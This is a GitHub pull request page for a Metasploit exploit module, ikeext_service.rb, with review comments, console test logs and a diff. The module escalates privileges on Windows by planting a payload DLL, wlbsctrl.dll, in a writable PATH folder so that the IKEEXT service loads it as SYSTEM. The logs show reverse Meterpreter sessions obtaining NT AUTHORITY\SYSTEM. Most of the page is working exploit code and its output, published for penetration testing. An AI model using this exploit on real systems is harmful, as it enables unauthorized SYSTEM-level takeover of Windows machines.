modules/exploits/windows/local/ipsec_keyring_service.rb
((215 lines not shown))
+ rescue ::Exception => e
+ fail_with(Exploit::Failure::Unknown, "Error while using get_imperstoken: #{e}")
+ end
+
+ if is_system?
+ print_error("Current user is already SYSTEM, aborting.")
+ return
+ end
+
+ print_status("Checking service exists...")
+ if !check_service_exists?(@service_name)
+ fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.")
+ end
+
+ if is_uac_enabled?
+ print_warning("UAC is enabled, may get false negatives on writeable folders.")
@jvazquez-r7 Collaborator

writeable typo

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ipsec_keyring_service.rb
((46 lines not shown))
+ [
+ [ 'Windows', { } ],
+ ],
+ 'SessionTypes' => [ "meterpreter" ],
+ 'DefaultOptions' =>
+ {
+ 'EXITFUNC' => 'thread',
+ 'WfsDelay' => '5'
+ },
+ 'DefaultTarget' => 0
+ ))
+
+ register_options([
+ OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""])
+ ])
+ @service_name = 'IKEEXT'
@jvazquez-r7 Collaborator

Should work, but ask myself if it's better to initialize this instance variables at initialization time or at "def exploit" time, will ask.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ikeext_service.rb
((54 lines not shown))
+ },
+ 'DefaultTarget' => 0
+ ))
+
+ register_options([
+ OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""])
+ ])
+ @service_name = 'IKEEXT'
+ @load_lib_search_path = [ '%SystemRoot%\\System32',
+ '%SystemRoot%\\System',
+ '%SystemRoot%'
+ ]
+ @non_existant_dirs = []
+ end
+
+ # Current exist? gives false negative when folder does exist.
@jlee-r7 Collaborator
jlee-r7 added a note

This suggests a bug.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ikeext_service.rb
((86 lines not shown))
+ end
+
+ if srv_info && srv_info['Name'].empty?
+ print_warning("Service #{service} does not exist.")
+ return false
+ else
+ return true
+ end
+ end
+
+ def check
+ srv_info = service_info('IKEEXT')
+
+ if !check_service_exists?(@service_name)
+ return Exploit::CheckCode::Safe
+ else
@jlee-r7 Collaborator
jlee-r7 added a note

You can simplify a bit by dropping an indent-level here, since the return above makes the else redundant.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
lib/msf/core/post/windows/accounts.rb
((7 lines not shown))
+ # @return [Fixnum] the impersonate token handle identifier if success, 0 if
+ # fails
+ def get_imperstoken
+ adv = session.railgun.advapi32
+ tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
+ tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
+ tok_all << " | TOKEN_ADJUST_DEFAULT"
+
+ pid = session.sys.process.open.pid
+ pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
+ pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
+ it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
+ if it["return"] #if it fails return 0 for error handling
+ return it["DuplicateTokenHandle"]
+ else
+ return 0
@jvazquez-r7 Collaborator

According to @jlee-r7 , he doesn't feel comfortable with returning 0 on success. I suggest returning nil in case of failure.

And calls to get_imperstoken should check returning value against nil.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@Meatballs1
Collaborator

Ok I have updated the mixin to return nil for the token and handled this.

I have removed my own exist? and will put up with the errors until it is fixed in meterpreter.

I have improved the check_dir_perms function by increasing the initial buffer size. This should prevent having to call the function twice unless a large buffer is required, doubling the efficiency. Also handle the case where the file doesn't exist and an exception was raised.

I have fixed an issue with file_dropper also

Meatballs1 added some commits
@Meatballs1 Meatballs1 Better error handling c687f23
@Meatballs1 Meatballs1 Fixes an error in file_dropper where @dropped_files is nil
causing an exception to be raised and on_new_session to fail.

I have moved super to the top of the chain so it always gets
called regardless.
1471a4f
lib/msf/core/exploit/file_dropper.rb
@@ -20,46 +20,48 @@ def initialize(info = {})
# @return [void]
#
def on_new_session(session)
@Meatballs1 Collaborator

Github doesn't seem to be displaying this correctly... View file tells a different story?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
lib/msf/core/exploit/file_dropper.rb
((6 lines not shown))
if session.type == "meterpreter"
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
end
- @dropped_files.delete_if do |file|
- win_file = file.gsub("/", "\\\\")
- if session.type == "meterpreter"
- begin
- # Meterpreter should do this automatically as part of
- # fs.file.rm(). Until that has been implemented, remove the
- # read-only flag with a command.
- if session.platform =~ /win/
- session.shell_command_token(%Q|attrib.exe -r #{win_file}|)
+ if @dropped_files
@jvazquez-r7 Collaborator

If you don't mind I'll do:

if not @dropped_files or @dropped_files.empty?
    return true
end

@dropped_files.delete_if do |file|
.
.
.
@Meatballs1 Collaborator

Yep looks good to me

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
lib/msf/core/exploit/file_dropper.rb
@@ -20,46 +20,48 @@ def initialize(info = {})
# @return [void]
#
def on_new_session(session)
+ super
@jvazquez-r7 Collaborator

woot! nice catch!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ikeext_service.rb
((39 lines not shown))
+ 'Author' =>
+ [
+ 'Ben Campbell <eat_meatballs@hotmail.co.uk>'
+ ],
+ 'Platform' => [ 'win'],
+ 'Targets' =>
+ [
+ [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
+ [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
+ ],
+ 'SessionTypes' => [ "meterpreter" ],
+ 'DefaultOptions' =>
+ {
+ 'EXITFUNC' => 'thread',
+ 'WfsDelay' => 5,
+ 'ReverseConnectRetries' => 255
@jvazquez-r7 Collaborator

Really :?

@jvazquez-r7 Collaborator

I mean, is it really needed? just asking

@Meatballs1 Collaborator

It could be lowered, the default doesn't work well when we need to reboot the system. I think the service can come up before all the network stack is properly initialized and therefore the first few retries fail.

255 is equivalent of infinite loop. It could be lowered, but not sure what values are required for different systems.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ikeext_service.rb
((47 lines not shown))
+ [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
+ ],
+ 'SessionTypes' => [ "meterpreter" ],
+ 'DefaultOptions' =>
+ {
+ 'EXITFUNC' => 'thread',
+ 'WfsDelay' => 5,
+ 'ReverseConnectRetries' => 255
+ },
+ 'DefaultTarget' => 0
+ ))
+
+ register_options([
+ OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""])
+ ])
+ @service_name = 'IKEEXT'
@jvazquez-r7 Collaborator

Looks more like constant than instance variable

@Meatballs1 Collaborator

Not supposed to define constants in modules?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ikeext_service.rb
((284 lines not shown))
+ fail_with(Exploit::Failure::Unknown, "Unable to start service.")
+ end
+ else
+ register_file_for_cleanup(@dll_file_path)
+ fail_with(Exploit::Failure::Unknown, "Unable to stop service")
+ end
+ elsif status == 0
+ print_status("Service started...")
+ register_file_for_cleanup(@dll_file_path)
+ end
+ rescue ::Exception => e
+ if service_information['Startup'] == 'Manual'
+ register_file_for_cleanup(@dll_file_path)
+ fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
+ else
+ if job_id
@jvazquez-r7 Collaborator

Where it comes from?

@jvazquez-r7 Collaborator

job_id I mean

@jvazquez-r7 Collaborator

nm, just spotted is used to check if it's running on background mode

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/exploits/windows/local/ikeext_service.rb
((286 lines not shown))
+ else
+ register_file_for_cleanup(@dll_file_path)
+ fail_with(Exploit::Failure::Unknown, "Unable to stop service")
+ end
+ elsif status == 0
+ print_status("Service started...")
+ register_file_for_cleanup(@dll_file_path)
+ end
+ rescue ::Exception => e
+ if service_information['Startup'] == 'Manual'
+ register_file_for_cleanup(@dll_file_path)
+ fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
+ else
+ if job_id
+ print_status("Unable to start service, handler running waiting for a reboot...")
+ while(true)
@jvazquez-r7 Collaborator

I think I don't like this idea of putting an exploit into an infinite loop until session is created, but if other devs agree with the idea, then it's okey for me!

Yeah, the intended logic could be better written.

while !session_created?
select(nil,nil,nil,1)
end

But I would register a timeout maybe and let the user decide how long to wait.

Just my 2c.

@jvazquez-r7 Collaborator

Just spotted with job_id is checking if it's running on background in order to keep listening, which looks okey to me. Will ask for confirmation anyway.

@Meatballs1 Collaborator

This is basically the same logic from exploit/multi/handler without the timeout. I only use it to handle the reboot situation and will only be entered if the user specifically starts the exploit in background -j

@jvazquez-r7 Collaborator

According to @Meatballs1, both @jlee-r7 and @hmoore-r7 agreed with it months ago, so no objection on my side, will process later today!

@jvazquez-r7 Collaborator

I misunderstood @Meatballs1, anyway there hasn't been any complain from @jlee-r7 about this loop :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jvazquez-r7
Collaborator

Tested successfully: hooray!

msf exploit(ikeext_service) > [*] Checking service exists...
[!] UAC is enabled, may get false negatives on writable folders.
[*] Checking %PATH% folders for write access...
[*] Path C:\Windows\System32\WindowsPowerShell\v1.0\ does not exist...
[+] Write permissions in C:\Python27 - RW
[*] Writing 14336 bytes to C:\Python27\wlbsctrl.dll...
[*] Launching service IKEEXT...
[*] Unable to start service, handler running waiting for a reboot...
[*] 192.168.172.219 - Meterpreter session 1 closed.  Reason: Died
[*] Sending stage (752128 bytes) to 192.168.0.3
[*] Meterpreter session 2 opened (192.168.0.3:4444 -> 192.168.0.3:53601) at 2013-09-04 23:52:06 -0500

msf exploit(ikeext_service) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > 

All looks okay for me, just let me verify with @jlee-r7 tomorrow morning, to discuss the small things, and will land! hoooooray!

modules/exploits/windows/local/ikeext_service.rb
((279 lines not shown))
+ print_status("Service stopped, attempting to start...")
+ if service_start(@service_name) == 0
+ print_status("Service started...")
+ else
+ register_file_for_cleanup(@dll_file_path)
+ fail_with(Exploit::Failure::Unknown, "Unable to start service.")
+ end
+ else
+ register_file_for_cleanup(@dll_file_path)
+ fail_with(Exploit::Failure::Unknown, "Unable to stop service")
+ end
+ elsif status == 0
+ print_status("Service started...")
+ register_file_for_cleanup(@dll_file_path)
+ end
+ rescue ::Exception => e
@jlee-r7 Collaborator
jlee-r7 added a note

This will rescue the fail_with exceptions. Never rescue ::Exception.

@jvazquez-r7 Collaborator

so hold-up until that's fixed

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@tabassassin tabassassin referenced this pull request from a commit in tabassassin/metasploit-framework
@tabassassin tabassassin Retab changes for PR #1054 9a29d5d
@todb-r7 todb-r7 referenced this pull request in Meatballs1/metasploit-framework
Closed

Retab/pr/1054 #26

@jvazquez-r7
Collaborator
msf exploit(ikeext_service) > set session 1
session => 1
msf exploit(ikeext_service) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.3:4444 
msf exploit(ikeext_service) > [*] Checking service exists...
[!] UAC is enabled, may get false negatives on writable folders.
[*] Checking %PATH% folders for write access...
[*] Path C:\Windows\System32\WindowsPowerShell\v1.0\ does not exist...
[+] Write permissions in C:\Python27 - RW
[*] Writing 14336 bytes to C:\Python27\wlbsctrl.dll...
[*] Launching service IKEEXT...
[*] Unable to start service, handler running waiting for a reboot...
[*] 192.168.172.219 - Meterpreter session 1 closed.  Reason: Died
[*] Sending stage (752128 bytes) to 192.168.0.3
[*] Meterpreter session 3 opened (192.168.0.3:4444 -> 192.168.0.3:63580) at 2013-09-05 16:29:53 -0500

msf exploit(ikeext_service) > sessions -i 3
[*] Starting interaction with 3...

  • On the session:
meterpreter > cd python27
meterpreter > ls

Listing: c:\python27
====================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40777/rwxrwxrwx   0       dir   2013-09-05 16:29:09 -0500  .
40777/rwxrwxrwx   0       dir   1979-12-31 17:00:00 -0600  ..
40777/rwxrwxrwx   0       dir   2012-12-28 11:57:57 -0600  DLLs
40777/rwxrwxrwx   0       dir   2012-12-28 11:57:58 -0600  Doc
100666/rw-rw-rw-  40092   fil   2012-04-10 17:34:08 -0500  LICENSE.txt
40777/rwxrwxrwx   0       dir   2012-12-28 11:58:47 -0600  Lib
100666/rw-rw-rw-  310875  fil   2012-04-10 17:18:36 -0500  NEWS.txt
100666/rw-rw-rw-  54973   fil   2012-04-10 17:18:38 -0500  README.txt
40777/rwxrwxrwx   0       dir   2012-12-28 11:57:58 -0600  Tools
40777/rwxrwxrwx   0       dir   2012-12-28 11:57:57 -0600  include
40777/rwxrwxrwx   0       dir   2012-12-28 11:57:57 -0600  libs
100777/rwxrwxrwx  26624   fil   2012-04-10 17:31:54 -0500  python.exe
100777/rwxrwxrwx  27136   fil   2012-04-10 17:31:56 -0500  pythonw.exe
40777/rwxrwxrwx   0       dir   2012-12-28 11:57:58 -0600  tcl
100777/rwxrwxrwx  49664   fil   2012-04-10 17:31:32 -0500  w9xpopen.exe
100666/rw-rw-rw-  14336   fil   2013-09-05 16:29:09 -0500  wlbsctrl.dll

shouldnt be wlbsctrl.dll deleted :?

@jvazquez-r7
Collaborator
  • This is the good one :)
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.172.219
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.219:49202) at 2013-09-05 16:49:51 -0500

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
bmeterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/ikeext_service 
msf exploit(ikeext_service) > set session 1
session => 1
msf exploit(ikeext_service) > check

[+] Service is set to Automatically start...
[+] The target is vulnerable.
msf exploit(ikeext_service) > exploit

[*] Started reverse handler on 192.168.0.3:4444 
[*] Checking service exists...
[!] UAC is enabled, may get false negatives on writable folders.
[*] Checking %PATH% folders for write access...
[*] Path C:\Windows\System32\WindowsPowerShell\v1.0\ does not exist...
[+] Write permissions in C:\Python27 - RW
[*] Writing 14336 bytes to C:\Python27\wlbsctrl.dll...
[*] Launching service IKEEXT...
[-] Exploit failed: Unable to start service, use exploit -j to run as a background job and wait for a reboot...
^C[*] Waiting 0s before file cleanup...
[+] Deleted C:\Python27\wlbsctrl.dll
[*] Exploit completed, but no session was created.
msf exploit(ikeext_service) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.3:4444 
msf exploit(ikeext_service) > [*] Checking service exists...
[!] UAC is enabled, may get false negatives on writable folders.
[*] Checking %PATH% folders for write access...
[*] Path C:\Windows\System32\WindowsPowerShell\v1.0\ does not exist...
[+] Write permissions in C:\Python27 - RW
[*] Writing 14336 bytes to C:\Python27\wlbsctrl.dll...
[*] Launching service IKEEXT...
[*] Unable to start service, handler running waiting for a reboot...
[*] 192.168.172.219 - Meterpreter session 1 closed.  Reason: Died

[*] Sending stage (752128 bytes) to 192.168.0.3
[*] Meterpreter session 2 opened (192.168.0.3:4444 -> 192.168.0.3:64018) at 2013-09-05 16:51:29 -0500
[+] Deleted C:\Python27\wlbsctrl.dll

msf exploit(ikeext_service) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > 

@jvazquez-r7 jvazquez-r7 referenced this pull request from a commit
jvazquez-r7 Land #1054, @Meatballs1 exploit for IPsec Keying and more eb745af
@jvazquez-r7 jvazquez-r7 merged commit 473f08b into rapid7:master
@Meatballs1 Meatballs1 deleted the Meatballs1:local_win_priv_keyring branch
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Commits on Oct 19, 2012
  1. @Meatballs1
Commits on Nov 5, 2012
  1. @Meatballs1
Commits on Nov 11, 2012
  1. @Meatballs1

    Working x86

    Meatballs1 authored
  2. @Meatballs1

    Msftidy

    Meatballs1 authored
  3. @Meatballs1
  4. @Meatballs1

    Null check

    Meatballs1 authored
  5. @Meatballs1
  6. @Meatballs1

    msftidy

    Meatballs1 authored
  7. @Meatballs1
Commits on Dec 13, 2012
  1. @Meatballs1
  2. @Meatballs1

    Use custom exist?

    Meatballs1 authored
Commits on Dec 30, 2012
  1. @Meatballs1

    Merge branch 'master' of https://github.com/rapid7/metasploit-framework

    Meatballs1 authored
    … into local_win_priv_keyring
  2. @Meatballs1
  3. @Meatballs1

    Merge remote changes

    Meatballs1 authored
  4. @Meatballs1
Commits on Jan 3, 2013
  1. @Meatballs1

    Use fail_with

    Meatballs1 authored
  2. @Meatballs1
  3. @Meatballs1

    Break on session

    Meatballs1 authored
Commits on Jan 20, 2013
  1. @Meatballs1

    Changed to warnings

    Meatballs1 authored
Commits on Jan 31, 2013
  1. Moving reused methods to Accounts mixin

    jvazquez-r7 authored
Commits on Feb 22, 2013
  1. @Meatballs1
  2. @Meatballs1

    Update

    Meatballs1 authored
Commits on Apr 27, 2013
  1. @Meatballs1

    Fix x64 dll creation

    Meatballs1 authored
  2. @Meatballs1

    Fix dir creation

    Meatballs1 authored
Commits on Jul 24, 2013
  1. @Meatballs1

    Cleanup

    Meatballs1 authored
  2. @Meatballs1
Commits on Sep 3, 2013
  1. @Meatballs1
  2. @Meatballs1

    Updates

    Meatballs1 authored
  3. @Meatballs1

    Better error handling

    Meatballs1 authored
  4. @Meatballs1

    Fixes an error in file_dropper where @dropped_files is nil

    Meatballs1 authored
    causing an exception to be raised and on_new_session to fail.
    
    I have moved super to the top of the chain so it always gets
    called regardless.
  5. @Meatballs1
Commits on Sep 5, 2013
  1. @Meatballs1

    Address @jlee-r7's feedback

    Meatballs1 authored
  2. @Meatballs1

    Stabs tabassassin

    Meatballs1 authored
  3. @Meatballs1
  4. @Meatballs1
  5. @Meatballs1
This page is out of date. Refresh to see the latest.
View
8 lib/msf/core/exploit/file_dropper.rb
@@ -20,10 +20,16 @@ def initialize(info = {})
# @return [void]
#
def on_new_session(session)
+ super
+
if session.type == "meterpreter"
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
end
+ if not @dropped_files or @dropped_files.empty?
+ return true
+ end
+
@dropped_files.delete_if do |file|
win_file = file.gsub("/", "\\\\")
if session.type == "meterpreter"
@@ -58,8 +64,6 @@ def on_new_session(session)
true
end
end
-
- super
end
#
View
65 lib/msf/core/post/windows/accounts.rb
@@ -177,6 +177,71 @@ def lookup_SID_NAME_USE(enum_value)
:integrity_label
][enum_value - 1]
end
+
+ # Gets an impersonation token from the primary token.
+ #
+ # @return [Fixnum] the impersonate token handle identifier if success, nil if
+ # fails
+ def get_imperstoken
+ adv = session.railgun.advapi32
+ tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
+ tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
+ tok_all << " | TOKEN_ADJUST_DEFAULT"
+
+ pid = session.sys.process.open.pid
+ pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
+ pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
+ it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
+ if it["return"] #if it fails return 0 for error handling
+ return it["DuplicateTokenHandle"]
+ else
+ return nil
+ end
+ end
+
+ # Gets the permissions granted from the Security Descriptor of a directory
+ # to an access token.
+ #
+ # @param [String] dir the directory path
+ # @param [Fixnum] token the access token
+ # @return [String, nil] a String describing the permissions or nil
+ def check_dir_perms(dir, token)
+ adv = session.railgun.advapi32
+ si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
+ result = ""
+
+ #define generic mapping structure
+ gen_map = [0,0,0,0]
+ gen_map = gen_map.pack("L")
+ buffer_size = 500
+
+ #get Security Descriptor for the directory
+ f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
+ if (f['return'] and f["lpnLengthNeeded"] <= buffer_size)
+ sd = f["pSecurityDescriptor"]
+ elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
+ f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
+ elsif (f['GetLastError'] == 2)
+ vprint_error("The system cannot find the file specified: #{dir}")
+ return nil
+ else
+ vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}")
+ return nil
+ end
+
+ #check for write access, called once to get buffer size
+ a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
+ len = a["PrivilegeSetLength"]
+
+ r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
+ if !r["return"] then return nil end
+ if r["GrantedAccess"] > 0 then result << "R" end
+
+ w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
+ if !w["return"] then return nil end
+ if w["GrantedAccess"] > 0 then result << "W" end
+ end
+
end # Accounts
end # Windows
end # Post
View
311 modules/exploits/windows/local/ikeext_service.rb
@@ -0,0 +1,311 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/post/common'
+require 'msf/core/post/windows/services'
+require 'msf/core/post/windows/priv'
+
+class Metasploit3 < Msf::Exploit::Local
+ Rank = GoodRanking
+
+ include Msf::Exploit::EXE
+ include Msf::Exploit::FileDropper
+ include Msf::Post::File
+ include Msf::Post::Windows::Priv
+ include Msf::Post::Windows::Services
+ include Msf::Post::Windows::Accounts
+
+ def initialize(info={})
+ super( update_info( info,
+ 'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL',
+ 'Description' => %q{
+ This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules'
+ (IKEEXT) service which runs as SYSTEM, and starts automatically in default
+ installations of Vista-Win8.
+ It requires an insecure bin path to plant the DLL payload.
+ },
+ 'References' =>
+ [
+ ['URL', 'https://www.htbridge.com/advisory/HTB23108'],
+ ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html']
+ ],
+ 'DisclosureDate' => "Oct 09 2012",
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Ben Campbell <eat_meatballs@hotmail.co.uk>'
+ ],
+ 'Platform' => [ 'win'],
+ 'Targets' =>
+ [
+ [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
+ [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
+ ],
+ 'SessionTypes' => [ "meterpreter" ],
+ 'DefaultOptions' =>
+ {
+ 'EXITFUNC' => 'thread',
+ 'WfsDelay' => 5,
+ 'ReverseConnectRetries' => 255
+ },
+ 'DefaultTarget' => 0
+ ))
+
+ register_options([
+ OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""])
+ ])
+ @service_name = 'IKEEXT'
+ @load_lib_search_path = [ '%SystemRoot%\\System32',
+ '%SystemRoot%\\System',
+ '%SystemRoot%'
+ ]
+ @non_existant_dirs = []
+ end
+
+ def check_service_exists?(service)
+ srv_info = service_info(service)
+
+ if srv_info.nil?
+ print_warning("Unable to enumerate services.")
+ return false
+ end
+
+ if srv_info && srv_info['Name'].empty?
+ print_warning("Service #{service} does not exist.")
+ return false
+ else
+ return true
+ end
+ end
+
+ def check
+ srv_info = service_info(@service_name)
+
+ if !check_service_exists?(@service_name)
+ return Exploit::CheckCode::Safe
+ end
+
+ vprint_status(srv_info.to_s)
+
+ case srv_info['Startup']
+ when 'Disabled'
+ print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
+ return Exploit::CheckCode::Safe
+ when 'Manual'
+ print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")
+ return Exploit::CheckCode::Safe
+ when 'Auto'
+ print_good("Service is set to Automatically start...")
+ end
+
+ if check_search_path
+ return Exploit::CheckCode::Safe
+ end
+
+ return Exploit::CheckCode::Vulnerable
+ end
+
+ def check_search_path
+ dll = 'wlbsctrl.dll'
+
+ @load_lib_search_path.each do |path|
+ dll_path = "#{expand_path(path)}\\#{dll}"
+
+ if file_exist?(dll_path)
+ print_warning("DLL already exists at #{dll_path}...")
+ return true
+ end
+ end
+
+ return false
+ end
+
+ def check_system_path
+ print_status("Checking %PATH% folders for write access...")
+ result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path')
+
+ if result.nil?
+ print_error("Unable to retrieve %PATH% from registry.")
+ return
+ end
+
+ paths = result.split(';')
+ paths.append(@load_lib_search_path).flatten!.uniq!
+
+ paths.each do |p|
+ path = expand_path(p)
+ if exist?(path)
+ if check_write_access(path)
+ return path
+ end
+ else
+ # User may be able to create the path...
+ print_status("Path #{path} does not exist...")
+ @non_existant_dirs << path
+ end
+ end
+
+ return nil
+ end
+
+ def check_write_access(path)
+ perm = check_dir_perms(path, @token)
+ if perm and perm.include?('W')
+ print_good ("Write permissions in #{path} - #{perm}")
+ return true
+ elsif perm
+ vprint_status ("Permissions for #{path} - #{perm}")
+ else
+ vprint_status ("No permissions for #{path}")
+ end
+
+ return false
+ end
+
+ def check_dirs
+ print_status("Attempting to create a non-existant PATH dir to use.")
+ @non_existant_dirs.each do |dir|
+ begin
+ client.fs.dir.mkdir(dir)
+ if exist?(dir)
+ register_file_for_cleanup(dir)
+ return dir
+ end
+ rescue Rex::Post::Meterpreter::RequestError => e
+ vprint_status("Unable to create dir: #{dir} - #{e}")
+ end
+ end
+
+ return nil
+ end
+
+ def check_session_arch
+ if sysinfo['Architecture'] =~ /x64/i
+ if payload_instance.arch.first == 'x86'
+ fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture")
+ end
+ else
+ if payload_instance.arch.first =~ /64/i
+ fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture")
+ end
+ end
+ end
+
+ def exploit
+ check_session_arch
+
+ begin
+ @token = get_imperstoken
+ rescue Rex::Post::Meterpreter::RequestError
+ vprint_error("Error while using get_imperstoken: #{e}")
+ end
+
+ fail_with(Exploit::Failure::Unknown, "Unable to retrieve token.") unless @token
+
+ if is_system?
+ fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.")
+ end
+
+ print_status("Checking service exists...")
+ if !check_service_exists?(@service_name)
+ fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.")
+ end
+
+ if is_uac_enabled?
+ print_warning("UAC is enabled, may get false negatives on writable folders.")
+ end
+
+ if datastore['DIR'].empty?
+ # If DLL already exists in system folders, we dont want to overwrite by accident
+ if check_search_path
+ fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.")
+ end
+
+ file_path = check_system_path
+ file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs
+
+ if file_path.nil?
+ fail_with(Exploit::Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...")
+ end
+ else
+ # Use manually selected Dir
+ file_path = datastore['DIR']
+ end
+
+ @dll_file_path = "#{file_path}\\wlbsctrl.dll"
+
+ service_information = service_info(@service_name)
+
+ if service_information['Startup'] == 'Disabled'
+ print_status("Service is disabled, attempting to enable...")
+ service_change_startup(@service_name, 'auto')
+ service_information = service_info(@service_name)
+
+ # Still disabled
+ if service_information['Startup'] == 'Disabled'
+ fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...")
+ end
+ end
+
+ # Check architecture
+ dll = generate_payload_dll
+
+ #
+ # Drop the malicious executable into the path
+ #
+ print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...")
+ begin
+ write_file(@dll_file_path, dll)
+ register_file_for_cleanup(@dll_file_path)
+ rescue Rex::Post::Meterpreter::RequestError => e
+ # Can't write the file, can't go on
+ fail_with(Exploit::Failure::Unknown, e.message)
+ end
+
+ #
+ # Run the service, let the Windows API do the rest
+ #
+ print_status("Launching service #{@service_name}...")
+
+ begin
+ status = service_start(@service_name)
+ if status == 1
+ print_status("Service already running, attempting to restart...")
+ if service_stop(@service_name) == 0
+ print_status("Service stopped, attempting to start...")
+ if service_start(@service_name) == 0
+ print_status("Service started...")
+ else
+ fail_with(Exploit::Failure::Unknown, "Unable to start service.")
+ end
+ else
+ fail_with(Exploit::Failure::Unknown, "Unable to stop service")
+ end
+ elsif status == 0
+ print_status("Service started...")
+ end
+ rescue RuntimeError => e
+ raise e if e.kind_of? Msf::Exploit::Failed
+ if service_information['Startup'] == 'Manual'
+ fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
+ else
+ if job_id
+ print_status("Unable to start service, handler running waiting for a reboot...")
+ while(true)
+ break if session_created?
+ select(nil,nil,nil,1)
+ end
+ else
